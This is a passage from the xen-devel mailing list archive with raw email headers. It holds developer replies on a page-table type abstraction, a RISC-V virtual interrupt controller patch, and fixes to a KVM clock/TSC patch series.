 WVmB1D9GH0QMtrIKGHgL7p0GW+jxunYYOgpbX+DXyGN5j53LZmEz/XAfzXnJVoe6iYvkeEMQ0zl
 U72YvirOw6n7XecUaLxufeDZ3k7zUoWhwsOzzDr2PnO5B+rHRlQanyNs10kmLyGk0SbO5yjhmsl
 X/wsvmN7W20tzA/W6s+/Go/LRPoLITRcA0wiEE2RX3SL5wjJQy6dbIfOKXB23C7J+7CUDxsv1hH
 2UL0d8RcWDG1m2MOfvzdP1DDLgoJ5qa4fNMDY3Dujfh/q4BEQ3LxkwjYYEZLquYPNzSt8jlE0CR
 W0NplSr/y92efigHBaNWZE689G10/Vfvu4jsCRV1WwdOJDDLrJCdFPCcT3EXgYundIBLpChodfB
 V3DgSeKuQKYmWhytTg7Qp/bafc3JxPNb2dXgROBBI3XlcwL1Fe7vq5FAcDbVZ+iHosYceQA6qsM
 opbeSLXsz6GP+frEBNA==
X-Authority-Analysis: v=2.4 cv=b5WCJNGx c=1 sm=1 tr=0 ts=6a69d244 cx=c_pps
 a=AfN7/Ok6k8XGzOShvHwTGQ==:117 a=AfN7/Ok6k8XGzOShvHwTGQ==:17
 a=kj9zAlcOel0A:10 a=RAioF0-LDSMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=RnoormkPH1_aCDwRdu11:22 a=V8glGbnc2Ofi9Qvn3v5h:22 a=17MMwBHFoGJDYN7e9MwA:9
 a=CjuIK1q_8ugA:10
X-Proofpoint-GUID: 83X-ft2oRkMXo03OQPgEqsBuw75g_R7Y
X-Proofpoint-ORIG-GUID: 83X-ft2oRkMXo03OQPgEqsBuw75g_R7Y
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-29_03,2026-07-28_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501 spamscore=0 adultscore=0 malwarescore=0 impostorscore=0
 bulkscore=0 phishscore=0 suspectscore=0 clxscore=1011 lowpriorityscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607290080
X-purgate-ID: tlsNG-c1860d/1785320048-D574B87B-CD1F08A8/0/0
X-purgate-type: clean
X-purgate-size: 982

On Tue, Jul 28, 2026 at 09:26:06PM +0200, David Hildenbrand (Arm) wrote:
> > The generic definition aliases hw_pte_t to pte_t, so this series preserves
> > the representation and behaviour of every architecture. ptep_get() keeps
> > its existing READ_ONCE() semantics and converts the stored element through
> > __pte_from_hw(). An architecture can later define a distinct hw_pte_t and
> > convert its PTE interfaces to make the distinction compiler-enforced.
> > Architecture PTE implementations and most architecture code are
> > deliberately left for those later opt-in conversions.
...
> Do you have a pointer at the arm64 part, so people can get a feeling for how an
> actual hw_pte_t implementation can look like.

May be we need the generic hw_pte_t implementation as { pte_t pte; }
right away?

Also, can you envision a case when sizeof(pte_t) != sizeof(hw_pte_t)?
If not, the compile-time check is worth adding.

> -- 
> Cheers,
> 
> David

Thanks!


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 10:41:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 10:41:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375468.1622619 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp1jM-0006Ab-Ih; Wed, 29 Jul 2026 10:41:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375468.1622619; Wed, 29 Jul 2026 10:41:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp1jM-0006AU-FW; Wed, 29 Jul 2026 10:41:44 +0000
Received: by outflank-mailman (input) for mailman id 1375468;
 Wed, 29 Jul 2026 10:41:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp1jL-0006AO-H0
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 10:41:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp1jK-00E0HS-U6
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:41:42 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a69d8e2-bab6-0a2a0a5309dd-0a2a450384ae-12
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:41:42 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a69d8e6-fae8-0a2a45030019-d155802cad0f-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:41:42 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-49558ce01afso5372475e9.1
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 03:41:42 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-497fecfccc7sm17390895e9.12.2026.07.29.03.41.41
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 03:41:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785321702; x=1785926502; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=zI5fF/KZ5gecqb5PeF3jTPYTKHb1nH8BxuQH5siZpNs=;
        b=BWDTbJHVWM03Xv/hDyTmQYb62K2SGSc8tXAN7HzaVR/aAI8zlwALY8Kf1oWiTEXbNW
         EfK+634b2DedhYmN7M6jsnr1E9446nAihTk8KP3qL6FJVf/v6mQqrvK/nj7SRN2DT6Fm
         jWueDN3MnyDSJCOOhyRdO9TnLcdoHvyym/9ewlsrUKZUuNgIYee651iJayO395x+LyKH
         jQvVhmneh8Qlop7aGdfHVmWkG7BoQahZdAzHa7pZG44f1i+KHw00M4akooQ+mAgLmF2/
         Ya1pM+mV1cK1CeddY/L5RdhsqNJfeYFNwTaN4e88iE1/v4+PiSDdOjh+AXoDUMInCEqE
         95jg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785321702; x=1785926502;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=zI5fF/KZ5gecqb5PeF3jTPYTKHb1nH8BxuQH5siZpNs=;
        b=KDb8Uyjt0z9HBW6H6aFYYQmai/83laR42mF66ksJsiD8KU+IN1vt5LFLmeVhHbwAUt
         JvXQn905vjEU4rQ5XiYWAtde+VOz49v2wQXj55XsZI+gPbjTd6i4swKH0jiCv1C3JiS5
         ke9LRrvrfA4dhBa276idzZpXOIc2OK730BtFeSPnHK0OlZGZApx3wNDl5Itnh6SwsXd2
         m23LkkErLQ06AEfi/kPY69gIpcLuPesejn+7MKew+21s/7F9NSQ32/uZZ3W54GhJB/NI
         Gxzmion4gu1SHk4KourdRgLeqVoFO4WQoQsSbFWyEynmkUJgSmmJm7l27YBaw0u3cBFu
         zfTw==
X-Forwarded-Encrypted: i=1; AHgh+RrG0UknMrCyqnvROKyCY8n9Cdea0rWNkTpOju6Vz9elbKPqR8TVpWFSsbry1f1xTvyqMqOrlBTi0bQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwzFcTtvyJrVd0iIgl2Ev74XK1XvawtvHiaOxjz3m6dkC9ZsLei
	MI5YYJLmHfykAgKvBD5ecUwovcyEtCEmCe26kp+bLfZbCYDEbqCq0VvQ
X-Gm-Gg: AR+sD11l7CQkH/ON2DxLqUPSfAXxtzzjA0aVmBBAfo8Kpuz4nbBOb5a+g9tvVYLZbxE
	jBB2tQCCUZXj9Z2CZZkirj6IQXkVtIYt0gAmqGMreUe++GKlbDFOpSMRvikdqmGFsxNODDP1Hl/
	iew7Lc2ucnb4gLpcFSAYq0EudN6jG4qKbQmnPENL11EaA0iMhp0k+er+Nm2BZhsvocHnHmTOTYs
	W8WHnoMiVmhP20/UOMGuBhXDEQLaFTg4vBFsiIJbY+1JHeGzYJP5KCksus27KUtC3uIInDoPHA/
	J8MCRSeSJzjDqNBwOr04ni0NUwIqxsc5XQJWMisPsmd4rFmZF2Hu+37Qi0qakSVvTwWpkvei2th
	OxcEd+tuLEwM2/95IjWJqJblWWySoexGS+8/sZP/O4NVrxbfie/L2dQdBvpHuAxawbz7yPSYKsL
	RhVOoR9jOCbEXHpyA+uRdnU1PfPeN2kLoiFrDqSpr9ceTFg3BilX3sDjxEJVFcMbR/sgdUQI7Vh
	7DM8mzWiKUj9/Q0Idni+rYsylO4f08He7/TPmVjih4rGoHVZFiqo4o=
X-Received: by 2002:a05:600c:3153:b0:493:c10c:22f0 with SMTP id 5b1f17b1804b1-496c656e484mr72386725e9.20.1785321702235;
        Wed, 29 Jul 2026 03:41:42 -0700 (PDT)
Message-ID: <43cf6077-c1c1-4aab-b769-736a3912e02f@gmail.com>
Date: Wed, 29 Jul 2026 12:41:40 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 14/23] xen/riscv: introduce minimal virtual APLIC
 (vAPLIC) infrastructure
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <98bcad12ca4e5ee270cc1ef9db09d89a32f863f8.1784559209.git.oleksii.kurochko@gmail.com>
 <e5ac074d-c824-4fe4-a1d4-ba986236fbb1@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <e5ac074d-c824-4fe4-a1d4-ba986236fbb1@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1785321702-6ECCB4E9-AE635AF7/10/73395122804
X-purgate-type: spam
X-purgate-size: 2820



On 7/22/26 9:40 AM, Jan Beulich wrote:
> On 20.07.2026 17:59, Oleksii Kurochko wrote:
>> At the current development stage, only domain vINTC init and deinit
>> operations are required, so implement those first.
>>
>> Initialize vAPLIC's domaincfg to with the interrupt-enable bit set and
>> MSI delivery mode selected as the current solution is exepcted to have
>> always IMSIC, and initialize vintc->ops.
>>
>> Other operations such as emulate_load(), emulate_store(), and is_access()
>> will be needed once guests are running and MMIO accesses to APLIC MMIO
>> range must be handled. These will be introduced separately later.
>>
>> Introduce a structure to describe a virtual interrupt controller (vINTC)
>> and a vintc_ops structure, which provides operations to emulate load and
>> store accesses to interrupt controller MMIOs and to check whether a given
>> address falls within the MMIO range of a specific virtual interrupt
>> controller.
>> Note that already existed init_ops field in struct vintc will be init-ed
>> for APLIC in the follow up patch.
>>
>> The vAPLIC implementation of these operations will be provided later
>> once guests can be run and these operations are actually needed.
>>
>> Introduce these structures here as they are required for the implementation
>> of domain_vaplic_init() and domain_vaplic_alloc(). Also, introduce
>> vaplic_init() and init vintc_ops->vcpu_init() with it.
>>
>> Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> 
> Acked-by: Jan Beulich <jbeulich@suse.com>

Thanks.

> albeit I (continue to) think that ...
> 
>> --- a/xen/arch/riscv/include/asm/intc.h
>> +++ b/xen/arch/riscv/include/asm/intc.h
>> @@ -17,6 +17,7 @@ enum intc_variant {
>>   struct cpu_user_regs;
>>   struct irq_desc;
>>   struct kernel_info;
>> +struct vcpu;
>>   
>>   struct intc_info {
>>       enum intc_variant hw_variant;
>> @@ -53,8 +54,19 @@ struct vintc_init_ops {
>>       int (*make_domu_dt_node)(struct kernel_info *kinfo);
>>   };
>>   
>> +struct vintc_ops {
>> +    /* Initialize some vINTC-related stuff for a vCPU */
>> +    int (*vcpu_init)(struct vcpu *v);
>> +
>> +    /* Deinitialize some vINTC-related stuff for a vCPU */
>> +    void (*vcpu_deinit)(struct vcpu *v);
>> +};
>> +
>>   struct vintc {
>> +    /* Used during domain build only; dropped afterwards. */
>>       const struct vintc_init_ops *init_ops;
> 
> ... "dropped" in the comment is misleading - there's nothing being dropped
> here, as that's technically impossible. Iirc you don't even poison the
> field once domain build is finished.

I will rephrase that in the following way:

/* Callbacks invoked during domain construction only. */

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 10:42:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 10:42:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375475.1622628 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp1k6-0006bz-Qj; Wed, 29 Jul 2026 10:42:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375475.1622628; Wed, 29 Jul 2026 10:42:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp1k6-0006bs-Ni; Wed, 29 Jul 2026 10:42:30 +0000
Received: by outflank-mailman (input) for mailman id 1375475;
 Wed, 29 Jul 2026 10:42:29 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+e9b046261242b536d9dc+8375+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wp1k4-0006a9-Di
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 10:42:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp1k3-00E5Kd-79; Wed, 29 Jul 2026 12:42:27 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+e9b046261242b536d9dc+8375+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a69d912-5cb7-0a2a0a5109dd-0a2a4509cf5c-0
 for <multiple-recipients>; Wed, 29 Jul 2026 12:42:26 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+e9b046261242b536d9dc+8375+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a69d911-be1a-0a2a45090019-5a9b32228b0c-3
 for <multiple-recipients>; Wed, 29 Jul 2026 12:42:25 +0200
Received: from [2001:8b0:10b:5:6576:c48e:4c9a:e70c]
 (helo=u09cd745991455d.ant.amazon.com)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wp1jk-00000001IF4-0jMt; Wed, 29 Jul 2026 10:42:08 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="MIME-Version:Content-Type:In-Reply-To:Date:Cc:To:From:Subject:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=MIME-Version:Content-Type:In-Reply-To:
	Date:Cc:To:From:Subject:Message-ID:Sender:Reply-To:Content-Transfer-Encoding:
	Content-ID:Content-Description:References;
	bh=Qsk6Dt1YdIozovrzXqE9M0zemdCZHrSiNsSLk3bigVg=; b=KQ/IstSyUljyF4Oxx92/m7Ug7w
	6TquI1+NyYlp9JhCZBnkAY+gIDlfK0pn27z8VuO0FTLD39Hr9lBn3fUlg6nQQjDf4N231vh9Xy8Nv
	QyD6AewrUtE+xsuF1P+eg3snS/d3RelWiLNi/BjseA3Wn0zgXPayrFSapTHl1U18ncSBVjaSJYJM7
	u0/T5wnjXD4Mwag11DGcrAp77nAnCEj3toYUVjdx+8MWY5a+9HnFxYTBv38iFL2+LHV0VDLJtf2kl
	SpNbtn2PrCSv3+sZjfg45Wxh6siL+z3Fm/+B7HKzrhjuR4oB8f/2BNnky9LrwkcTJoUSl2vu03G3X
	7hGQjSPA==;
Message-ID: <46a037e1680bfbc6e35b0dbe404f83dc5a3fd1cf.camel@infradead.org>
Subject: Re: [PATCH v7 00/36] Cleaning up the KVM clock mess
From: David Woodhouse <dwmw2@infradead.org>
To: Sean Christopherson <seanjc@google.com>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
 Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>,  Borislav Petkov	 <bp@alien8.de>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"	
 <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross	
 <jgross@suse.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul
 Durrant	 <paul@xen.org>, Jonathan Cameron <jic23@kernel.org>, Sascha
 Bischoff	 <Sascha.Bischoff@arm.com>, Marc Zyngier <maz@kernel.org>, Joey
 Gouly	 <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, Dongli
 Zhang	 <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Date: Wed, 29 Jul 2026 11:42:07 +0100
In-Reply-To: <amk4sX57FwapIp9B@google.com>
Content-Type: multipart/signed; micalg="sha-256"; protocol="application/pkcs7-signature";
	boundary="=-kbFPbhmb9kKG7ytWfOyv"
User-Agent: Evolution 3.60.3-0ubuntu1~ppa9~24.04 
MIME-Version: 1.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-bad1c0/1785321746-BF4D3034-B1BDF817/0/0
X-purgate-type: clean
X-purgate-size: 10943


--=-kbFPbhmb9kKG7ytWfOyv
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Tue, 2026-07-28 at 16:18 -0700, Sean Christopherson wrote:
> I'll post a new version up through here, get it applied soon-ish, and
> then get back to chipping away at the rest of the series.

Thanks. I'll leave that first part alone now, and rebase the remainder
on top of what lands.=20

Not sure why Sashiko didn't reply to v6, but I've addressed the two
real bugs it found in v7:

 - "Re-synchronize TSC after KVM_SET_TSC_KHZ" made kvm_set_tsc_khz()
   call kvm_synchronize_tsc() with a non-NULL value, which set
   kvm->arch.user_set_tsc from the kernel's own vCPU-creation path and
   thus enabled the 1-second slop heuristic before userspace ever
   wrote a TSC =E2=80=94 breaking restore of a guest with <1s of runtime.
   Fixed by making "user initiated" an explicit parameter instead of
   inferring it from the pointer being non-NULL. I've also added a
   selftest which fails on v7 and passes with the fix (first user
   write of a TSC value ~500ms of cycles from the kernel default gets
   snapped back to the default generation by the bug).

 - The S4 backwards-TSC adjustment in "Kill last_tsc_{nsec,write,
   offset} fields" adjusted cur_tsc_offset by the raw host-cycle delta
   while each vCPU's offset moves by the guest-scaled delta (via
   adjust_tsc_offset_host()), so they disagreed for scaled guests. And
   the cur_tsc_write adjustment shouldn't have existed at all =E2=80=94 the
   guest TSC is kept continuous across S4 and the {cur_tsc_nsec,
   cur_tsc_write} pair lives in the wall-clock/guest-cycle domain.

Also fixed the unused-function breakage you hit in "Use
ktime_get_snapshot_id() for master clock" (the private readers are now
deleted in that patch, where their last callers go away), a stale
paragraph in the kvm_synchronize_tsc() changelog, the =CE=94T*freq unit
confusion in the TSC migration documentation, and a handful of
legitimate selftest nits from the same review.

All pushed to a kvmclock8 branch (which is identical up to commit
dcbe8dc4ca "Remove implicit rdtsc()"):
https://git.infradead.org/?p=3Dusers/dwmw2/linux.git;a=3Dshortlog;h=3Drefs/=
heads/kvmclock8

--=-kbFPbhmb9kKG7ytWfOyv
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCCE8Ew
ggWvMIIEl6ADAgECAhANkOKMSmGXhF5eMl0rsRhvMA0GCSqGSIb3DQEBDAUAMGUxCzAJBgNVBAYT
AlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xJDAi
BgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBHMjAeFw0yNDAzMTMwMDAwMDBaFw0zNDAz
MTIyMzU5NTlaMGIxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwgSW5jLjE6MDgGA1UE
AxMxRGlnaUNlcnQgQXNzdXJlZCBHMiBTTUlNRSBSU0E0MDk2IFNIQTM4NCAyMDI0IENB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7Lk3igoKRXiF5OTG0ECbNzLSc
B9XxwBxn/NpaESkinSHYEfloCaWxH0WSs1JXPpWOgurTQ6gDXLsXJD9GBf8kHAhC55FYJoYJCgwl
9kI1pNyLnZryH1FSsFPyLB5fkJI309gsDExDtaTB826nGbdJD0pVXe/ks2/87DC5JcagNkif0ofL
rUasOK7XIiXGve67l9OQL4lzSmU7/N8b/obJfP4A7Q1aHPiOzT2f7nV6F0qGRpTbyjCdgTu3Qd52
MnNxg6rqtV0ITkHDsXGZk6QT15jyAfwKATzaZn9EVX5C95S2HC6VV+Q99xIBZ9A4SuDxzoZpJ0Yi
XHeiZjG5ltrjjvZ07vDtr5r6KP1vN9e3vtm+9/GJk1b3uE1zUNbKCQxheP7ImzhKiiFn4ZL2nsAV
8uZpMdOKtX7zgiECLQRqJsMAAAAAAAA=


--=-kbFPbhmb9kKG7ytWfOyv--


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 11:03:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 11:03:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375498.1622637 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp23p-0001ph-Hc; Wed, 29 Jul 2026 11:02:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375498.1622637; Wed, 29 Jul 2026 11:02:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp23p-0001pa-Ed; Wed, 29 Jul 2026 11:02:53 +0000
Received: by outflank-mailman (input) for mailman id 1375498;
 Wed, 29 Jul 2026 11:02:51 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp23n-0001pU-R4
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:02:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp23m-007bfs-4F
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:02:50 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a69ddd5-2eae-0a2a0a5409dd-0a2a4504a2a8-12
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:02:50 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a69ddd9-b57f-0a2a45040019-d1558036c927-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:02:50 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493b966dd74so4969985e9.3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 04:02:50 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957bfc2ff2sm324038545e9.4.2026.07.29.04.02.47
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 04:02:48 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785322969; x=1785927769; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=uajsEsoYWRFTcIEyjtIIuRS9ga12P9m/czWmEvckPdo=;
        b=lN6EgLOhbqvFcIysWLyni65cVeg/llHmVolbshts/FrbmTdzUIm6Z3xHyOZARphmEe
         9DmUT8ktSZooJBFpVjy6IwfJpC3g10G/eB2Ps98D18UbsHnxqOvl6yy9AYYDrtl7S90b
         85cbFUVL7vyB2JeBc9rjpIbm84VtflrWhB2ncekK/Vx3prySqJeuJYP4SDo2+AUTZhba
         NJebdNhFyoShDIGuGC8zKGPLNal3NOxVCbikTTYLUNWfXhn6KLsCG8bVUz7uA8MtH02B
         /CLicidu0onnoB0+4JY5VHBcgVKLTYAiN9CVjpLGlgby5r3uEOcwr4EA/wm+4tp0QbU1
         ugQA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785322969; x=1785927769;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=uajsEsoYWRFTcIEyjtIIuRS9ga12P9m/czWmEvckPdo=;
